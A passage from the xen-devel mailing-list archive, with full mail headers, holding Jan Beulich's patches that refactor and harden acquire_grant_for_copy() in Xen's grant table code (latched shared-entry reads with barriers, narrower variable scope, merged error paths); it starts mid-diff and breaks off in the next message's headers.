               (!readonly && !(old_pin & (GNTPIN_devw_mask|GNTPIN_hstw_mask))) )
     {
+        unsigned long gfn;
+
         if ( (rc = _set_status(shah, status, rd, rgt->gt_version, act,
                                readonly, 0, ldom)) != GNTST_okay )
              goto unlock_out;
@@ -2801,39 +2807,34 @@ acquire_grant_for_copy(
         trans_gref = gref;
         if ( !sha2 )
         {
-            unsigned long gfn = shared_entry_v1(rgt, gref).frame;
-
-            rc = get_paged_frame(gfn, &grant_mfn, page, readonly, rd);
-            if ( rc != GNTST_okay )
-                goto unlock_out_clear;
-            act_set_gfn(act, _gfn(gfn));
+            gfn = shared_entry_v1(rgt, gref).frame;
             is_sub_page = false;
             trans_page_off = 0;
             trans_length = PAGE_SIZE;
         }
-        else if ( !(sha2->hdr.flags & GTF_sub_page) )
+        else if ( !(shflags & GTF_sub_page) )
         {
-            rc = get_paged_frame(sha2->full_page.frame, &grant_mfn, page,
-                                 readonly, rd);
-            if ( rc != GNTST_okay )
-                goto unlock_out_clear;
-            act_set_gfn(act, _gfn(sha2->full_page.frame));
+            gfn = sha2->full_page.frame;
             is_sub_page = false;
             trans_page_off = 0;
             trans_length = PAGE_SIZE;
         }
         else
         {
-            rc = get_paged_frame(sha2->sub_page.frame, &grant_mfn, page,
-                                 readonly, rd);
-            if ( rc != GNTST_okay )
-                goto unlock_out_clear;
-            act_set_gfn(act, _gfn(sha2->sub_page.frame));
+            gfn = sha2->sub_page.frame;
             is_sub_page = true;
             trans_page_off = sha2->sub_page.page_off;
             trans_length = sha2->sub_page.length;
         }
 
+        /* Use latched copies of the shared entry fields from here on. */
+        barrier();
+
+        rc = get_paged_frame(gfn, &grant_mfn, page, readonly, rd);
+        if ( rc != GNTST_okay )
+            goto unlock_out_clear;
+        act_set_gfn(act, _gfn(gfn));
+
         if ( !act->pin )
         {
             act->domid = ldom;
@@ -4145,6 +4146,8 @@ int mem_sharing_gref_to_gfn(struct grant
            *gfn = _gfn(sha2->full_page.frame);
     }
 
+    barrier();
+
     if ( !rc && (flags & GTF_type_mask) != GTF_permit_access )
         rc = -ENXIO;
     else if ( !rc && status )



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:50:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:50:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374244.1621280 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiCm-00067N-Te; Tue, 28 Jul 2026 13:50:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374244.1621280; Tue, 28 Jul 2026 13:50:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiCm-00067G-Qm; Tue, 28 Jul 2026 13:50:48 +0000
Received: by outflank-mailman (input) for mailman id 1374244;
 Tue, 28 Jul 2026 13:50:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiCl-00066s-4k
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:50:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiCk-00EvdR-Hn
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:50:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3b4-2eae-0a2a0a5409dd-0a2a450ba9bc-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:50:46 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3b6-b7e8-0a2a450b0019-d1558036ad62-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:50:46 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso29242115e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:50:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45ba4b0sm82523515e9.6.2026.07.28.06.50.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:50:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246646; x=1785851446; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=VGDGiJPmLE14ZfHvAKCk4xWyMnkwoww93SfDim7yWaQ=;
        b=WkvRLoUkTWG2LO9sbo7gqaI6+j3u3mBB6kGyP0bXzVSv7dLYbTzPubWjztRbyfmSrP
         rWlBxTDuxAk/adtMStVBpuPfWJ4B/AfAg+T0YYh82zu1MR7l5/iAENgMO1GV+pBJF0eS
         WwYMk/H3OopvPSRqOJKSe6yxQHyobiaz1Bn0BGdwZ8qqPMq1Dz+O+4FZDkKXDoXqaTn/
         Vdd6rg3gHnO7AaSVEaOx7866dYGg0yGSdu/R2oqustXoxttZ1AAAr7NyxWuqzsaEtYSD
         3vlgM7fdPk+XnkiwvNi0k+I/AHloCrbIP/aXJmm0VvmNbEN/5j4AEdg9zdQsAqKAYzT8
         UBfw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246646; x=1785851446;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=VGDGiJPmLE14ZfHvAKCk4xWyMnkwoww93SfDim7yWaQ=;
        b=Dfz1ysCG7Rr1ynzM7sdMDUTyAIlkQwxT6RvY/g8ag9KkRnvyNzGBx6btAzKL8efkWU
         Czd1MVGrBpWoggEa5QZ33e80Vhcd/7206KIZ+Gqh5Ul0WxKhw39u9PSYEQVJmD8CFue8
         YHOLduszoYRLLm2RGKsEMeQ4lVY/s9oioXjfYz4Ztp1BjSukIBmskk+UKS0Z5cOEAO1H
         uwFV31cb2RBejdYsCnPS8egrhn2CjCpluVyBmVKddWz88EWix0Ot61MLiY+GxylCqTiz
         WRcjANVyUjt9rQ45/PwTMuFHrP6LUFq1jSAHRyULeyeUezcFcvb3jlwjW7tO5n5mj+dG
         Sxcg==
X-Gm-Message-State: AOJu0YxYR2ijeXExwVmTk4aJYPDuAIu6vh13Tbpi+JYW/dNmLNHEpQeB
	cgpCguzhGDAp+Ynrd9qcRyF7JEh0EDJGHmMxcMfjQC64ucU/TpHhnh6unzt6+fhzb+adr4j5KMH
	a6JnPqg==
X-Gm-Gg: AR+sD12hBF09fUNzUl3zE3n/DeF7lRCkBuP/0onZeOmsP3N0est+n9Aegu/lwaa+3kF
	Sfc80kThCUN2xZPd6dN4Imf9jAQ78P1asCceETKL89kYzk/nxBacmfAJ0Aj+mLfL6lwJC0nLFSy
	i/8ivVctZdBeFDxX3NttwgYMjCBgE1JF2lCYj3L5eLSk23RTJG7sz0pi/ftTBdr0asrO97MZk8A
	VZKiL6yitsJPX/84rrHepTGE9w1JBT7Q8+JwDl1IYYfNQyRc3C68YqixjYiWdUN4aE4hf7h64Ji
	0wnxRrkpDaajVyOgUMo/C7o0M3ctHIbfvS+XDLoo4xNT/hAk2b8hMHIILeMDlLf8gowulbIuMKE
	jz48zlg2g775UhZMeH7ad2RAG4eIKpnnxbXgiErlosZNiei3HNwApZYeR5MXyXmP4lTomuxGfAZ
	Q0bqQfPjpIc7rfsdCce4z8XrJh5oGn8byl16Eo5FBSlwb4S/iXHBzSLEnedF47okJKckTNB/CGL
	X0b
X-Received: by 2002:a05:600c:1c07:b0:496:c8d5:aa5e with SMTP id 5b1f17b1804b1-496c8d5aa8emr17145795e9.29.1785246645893;
        Tue, 28 Jul 2026 06:50:45 -0700 (PDT)
Message-ID: <9ad78491-7759-483d-8ef9-91b026efb83f@suse.com>
Date: Tue, 28 Jul 2026 15:50:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 2/7] gnttab: limit scope of transitive-only variables in
 acquire_grant_for_copy()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785246646-A9EC69EA-3DEED1D2/0/0
X-purgate-type: clean
X-purgate-size: 3238

Especially their use outside of the transitive grant handling code can be
confusing. Two of the variables were merely used as aliases in the "needs
pin update" path, while one of them was purely used because it's available
in the "already pinned" case.

trans_{page_off,length} remain where they are: They're misnamed imo, and
would better be sub_page_{off,len}.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -2608,9 +2608,6 @@ acquire_grant_for_copy(
     grant_status_t *status;
     unsigned int shflags;
     uint32_t old_pin;
-    domid_t trans_domid;
-    grant_ref_t trans_gref;
-    struct domain *td;
     mfn_t grant_mfn;
     uint16_t trans_page_off;
     uint16_t trans_length;
@@ -2662,6 +2659,10 @@ acquire_grant_for_copy(
     old_pin = act->pin;
     if ( sha2 && (shflags & GTF_type_mask) == GTF_transitive )
     {
+        domid_t trans_domid;
+        grant_ref_t trans_gref;
+        struct domain *td;
+
         if ( (!old_pin || (!readonly &&
                            !(old_pin & (GNTPIN_devw_mask|GNTPIN_hstw_mask)))) &&
              (rc = _set_status_v2(shah, status, rd, act, readonly, 0,
@@ -2803,8 +2804,6 @@ acquire_grant_for_copy(
                                readonly, 0, ldom)) != GNTST_okay )
              goto unlock_out;
 
-        td = rd;
-        trans_gref = gref;
         if ( !sha2 )
         {
             gfn = shared_entry_v1(rgt, gref).frame;
@@ -2841,16 +2840,16 @@ acquire_grant_for_copy(
             act->is_sub_page = is_sub_page;
             act->start = trans_page_off;
             act->length = trans_length;
-            act->src_domid = td->domain_id;
-            act->trans_gref = trans_gref;
+            act->src_domid = rd->domain_id;
+            act->trans_gref = gref;
             act->mfn = grant_mfn;
 
             if ( is_sub_page )
                 atomic_inc(&rgt->nr_v2_ops);
         }
         else if ( !mfn_eq(act->mfn, grant_mfn) ||
-                  act->src_domid != td->domain_id ||
-                  act->trans_gref != trans_gref ||
+                  act->src_domid != rd->domain_id ||
+                  act->trans_gref != gref ||
                   (act->is_sub_page &&
                    (!is_sub_page ||
                     act->start != trans_page_off ||
@@ -2866,9 +2865,11 @@ acquire_grant_for_copy(
     }
     else
     {
+        struct domain *d;
+
         ASSERT(mfn_valid(act->mfn));
         *page = mfn_to_page(act->mfn);
-        td = page_get_owner_and_reference(*page);
+        d = page_get_owner_and_reference(*page);
         /*
          * act->pin being non-zero should guarantee the page to have a
          * non-zero refcount and hence a valid owner (matching the one on
@@ -2877,9 +2878,9 @@ acquire_grant_for_copy(
          * updates pin counts before obtaining page references, for
          * example).
          */
-        if ( td != rd || rd->is_dying )
+        if ( d != rd || rd->is_dying )
         {
-            if ( td )
+            if ( d )
                 put_page(*page);
             *page = NULL;
             rc = GNTST_bad_domain;



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:51:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:51:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374253.1621289 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiD6-0006eo-57; Tue, 28 Jul 2026 13:51:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374253.1621289; Tue, 28 Jul 2026 13:51:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiD6-0006eh-1t; Tue, 28 Jul 2026 13:51:08 +0000
Received: by outflank-mailman (input) for mailman id 1374253;
 Tue, 28 Jul 2026 13:51:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiD4-0006cW-EY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:51:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiD3-00BRHU-RL
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:51:05 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3c9-5cb7-0a2a0a5109dd-0a2a4505837a-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:05 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3c9-4cb1-0a2a45050019-d155dd34dc83-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:51:05 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f92e3c14bso3499450f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:05 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63bd3sm58862990f8f.27.2026.07.28.06.51.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:51:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246665; x=1785851465; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=VmsmB3SZeOUc6ARdQUTuy227vcpv9NvZgtecFoLVbnQ=;
        b=PlyahEoMAkNJnMPwvL3Afr4EX87EozkpBZrMqh9bwRT+j22wZcmw5rFeP624PXP4VA
         hetl9IqBI3UwcKeOVk3F+rWFf+7i+b+5o0KTOkYe4QtR3u8yi07PiWTg3xjyAd8+LtG0
         S42qcEMwS2Kbxo9VRJVtp2FgDUx+0BPDqvtC1m8mjyv9sbid9oLKhe/6zQaGtq5UOkDC
         9GjRMy263qsrIK7IHaOiAlgCObC56KgGaId9BsxlcktBiqhqEEHhy+ZmBXZpDxJG7d9c
         kMd58dvwUtS1gK1+DZUlVLGEmBnuZv6yniFmbLTpXAbhLZkDROAySdSHiFRQw4hOJoMq
         JaWQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246665; x=1785851465;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=VmsmB3SZeOUc6ARdQUTuy227vcpv9NvZgtecFoLVbnQ=;
        b=NV7+gDKFHCV5W6HNWkiCssWgo0mJwH8jnAHOmwIlmddnU1LBQB+v8sFVAA3xq77LGS
         BwRHPlLOLK8g9mAxBNse/z1kbpK2rutR4B905w5PVId4UxLgxbVgaBsjrAHA++hxdikq
         H+1lVbK8BkKK1aBbbPgTBwEKPF8qdjoQwwo7+YQf7tiHd318Wc/Gp8OvJJT87T/EOS30
         cPxTccpTWXu8FF2Ytt24dI4RQifD8d0Sv04vK+1DnnirX+UqWYnkiBCWt6T1Lm0zDqtR
         8y/uGhNsxIl+UFxjVZ48WNHVTO/4xvjukpC4WBMVjvhCKUXFDkGeUx3Gc+xdrREgCJf0
         2NVw==
X-Gm-Message-State: AOJu0YyhN149SVWsse2Oqo6svorN6o5HFf/o/dr1aO4Edrn4KNA8AbXI
	kE5b74xlYITirWD0DU4f3nMg0QdtsutZK6xmnP/VuPfFiGfay+KsIOb4v1/WKZ6glui6NjIySOW
	QEh+Fug==
X-Gm-Gg: AR+sD125B/O+S7iMuWHS/bESZ4L3iqy//EAxKA6k75G8caBLejVTcyihG89WgSVUEjH
	x6utBjLSjXWEJcORdk00fGgjWyy1RZmSubeaQUXWuzvWXvlhBWzknDCDZtr8M9WZQ2Y4Es1Eck7
	NX2K2pKXPqx3i/ie+AXv43VlVIgdaQkxTqhQlVyFTPRqsP1/TxtpEFnW44uKApWERsVFQ8NdCok
	XNqOjcp9exf1t3oD2rR+w5rggMikSEBuQFgbKKTM+xdM2AGRwC0XpK6OblvaHUWzLir3TzBb3mF
	DPgs5y5euROi0xZqfw+411iE5kGN6YWOpcSaToVngGGi6zqGFCTxroF2e3K3ejoqI1dD4NiD9bz
	2AYFuXMNa0yGljs77/HAuaR0s33qELn+7GNEzJvD4/07NARHqC+6nQqn+78me6a2KQRNe2OFEd3
	wfHFq1gPfqAsK0uwVVxpG4ei6Ei4uyk2W47ywSzF7OXYsUw8brgF9xfRwuqzjIdXHgqQ==
X-Received: by 2002:a05:6000:707:b0:47f:90df:4ec6 with SMTP id ffacd0b85a97d-47fb1e5ffa9mr2814316f8f.6.1785246665147;
        Tue, 28 Jul 2026 06:51:05 -0700 (PDT)
Message-ID: <7392c56e-7250-496f-bb66-bdb6c04d3ed4@suse.com>
Date: Tue, 28 Jul 2026 15:51:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 3/7] gnttab: fold redundant error code paths in
 acquire_grant_for_copy()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785246665-F4EA12A1-19DF5A0E/0/0
X-purgate-type: clean
X-purgate-size: 1370

One of the open-coded error paths of transitive grant handling is an exact
match of the code at the unlock_out_clear label. The other can be made so
by moving the put_page() earlier.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -2729,10 +2729,7 @@ acquire_grant_for_copy(
         {
             atomic_dec(&rgt->nr_v2_ops);
             rcu_unlock_domain(td);
-            reduce_status_for_pin(rd, act, status, readonly);
-            active_entry_release(act);
-            grant_read_unlock(rgt);
-            return rc;
+            goto unlock_out_clear;
         }
 
         /*
@@ -2763,17 +2760,16 @@ acquire_grant_for_copy(
             release_grant_for_copy(td, trans_gref, readonly);
             rcu_unlock_domain(td);
 
+            put_page(*page);
+            *page = NULL;
+
             grant_read_lock(rgt);
             atomic_dec(&rgt->nr_v2_ops);
 
             act = active_entry_acquire(rgt, gref);
-            reduce_status_for_pin(rd, act, status, readonly);
-            active_entry_release(act);
-            grant_read_unlock(rgt);
 
-            put_page(*page);
-            *page = NULL;
-            return ERESTART;
+            rc = ERESTART;
+            goto unlock_out_clear;
         }
 
         if ( !old_pin )



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:51:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:51:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374260.1621298 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiDS-0007Dl-CK; Tue, 28 Jul 2026 13:51:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374260.1621298; Tue, 28 Jul 2026 13:51:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiDS-0007De-9S; Tue, 28 Jul 2026 13:51:30 +0000
Received: by outflank-mailman (input) for mailman id 1374260;
 Tue, 28 Jul 2026 13:51:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiDR-0007CA-4w
